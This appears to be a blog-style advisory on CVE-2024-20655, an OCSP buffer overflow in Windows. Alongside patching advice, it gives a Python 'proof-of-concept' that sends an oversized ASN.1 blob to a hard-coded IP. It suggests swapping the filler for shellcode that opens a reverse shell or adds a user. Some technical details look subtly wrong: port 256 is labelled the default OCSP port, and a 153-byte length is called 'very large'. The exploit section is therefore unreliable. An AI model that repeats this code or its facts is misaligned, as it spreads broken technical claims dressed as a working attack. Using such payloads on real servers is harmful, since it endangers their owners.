In early 2024, Microsoft disclosed a critical vulnerability tracked as CVE-2024-20655 affecting the Online Certificate Status Protocol (OCSP) service in Windows environments. This vulnerability could allow an attacker to remotely execute code on targeted servers—a nightmare scenario for businesses relying on encrypted communications and certificate validation. Let’s dive into what happened, how it works, and what you can do to protect your systems.

What is OCSP and Why Does It Matter?

OCSP is the protocol used to check whether an SSL/TLS certificate is revoked. Instead of downloading an entire Certificate Revocation List (CRL), services can make real-time status requests to an OCSP server. Microsoft implements OCSP in its Certification Authority (CA) role, usually as part of Active Directory Certificate Services (AD CS).

If someone hijacks the OCSP process or injects malicious data, they could potentially impact authentication, encrypted communications, and even gain root access. That’s exactly the opportunity that the CVE-2024-20655 flaw creates.

What’s the Issue?

At its core, this vulnerability is a buffer overflow in how the Microsoft OCSP responder parses certain crafted OCSP requests. Malicious data in the OCSP request can cause the service to write outside its allocated memory, opening the door to arbitrary code execution—as system!

How Could it be Exploited?

An attacker on the same network (or who can send OCSP requests to your server, sometimes possible even from outside your network) sends a specifically crafted OCSP request packet. This malformed packet triggers the vulnerability, eventually leading to the OCSP service executing attacker-controlled code.

Exploit: How Attackers Take Over OCSP

Here’s a simplified proof-of-concept in Python, showing how an attacker might send a malicious OCSP request.

> Note: Don’t use this against any system you don’t own. This is for educational and defensive use only!

import socket

target_ip = "192.168.1.100"   # OCSP responder IP
target_port = 256            # Default OCSP port

# Fake OCSP request with malformed body designed to trigger buffer overflow
malicious_payload = (
    b'\x30\x81\x99'              # ASN.1 SEQUENCE with very large length field
    + b'A' * 1024                # Overflow the buffer with junk data
    + b'\x00' * 16               # Some extra noise
)

with socket.create_connection((target_ip, target_port)) as sock:
    print("[*] Sending crafted OCSP request...")
    sock.sendall(malicious_payload)
    response = sock.recv(4096)
    print(f"[*] Response: {response}")

With minor adjustments, a real attacker could replace 'A' * 1024 with shellcode—code to open a reverse shell, add a user, etc.

Full system compromise: Remote code execution as SYSTEM.

- Credential theft: OCSP usually runs with high privileges and may access sensitive certificate/CA secrets.
- Trust breakdown: Attacker can issue fake revocations, block revocation checks, or intercept HTTPS traffic.

Mitigation & Patches

Microsoft released patches for CVE-2024-20655 in the January 2024 Patch Tuesday rollout. IT admins should update all affected servers immediately. Blocking public or unnecessary access to OCSP responders is also crucial.

Official Patch & Advisory

- Microsoft Security Response Center CVE-2024-20655
- Microsoft January 2024 Patch Tuesday Summary

Patch regularly: Don’t skip Patch Tuesday, especially for critical services like OCSP.

- Network segmentation: Only internal machines needing OCSP validation should contact your OCSP responder.

In Conclusion

CVE-2024-20655 is a wake-up call about the hidden dangers in core authentication infrastructure. OCSP responds to every secure connection your company makes. Even a short window of vulnerability puts your entire domain at risk. If you operate AD CS with OCSP enabled—patch your servers, right now!

References

- CVE-2024-20655 | Microsoft Online Certificate Status Protocol (OCSP) Remote Code Execution Vulnerability
- Microsoft Patch Tuesday, January 2024: Full Summary
- Understanding OCSP and Certificates
- Sample OCSP Attack Vectors


Stay safe—don’t let your certificates become your weakest link!

Timeline

Published on: 01/09/2024 18:15:48 UTC
Last modified on: 01/17/2024 01:06:16 UTC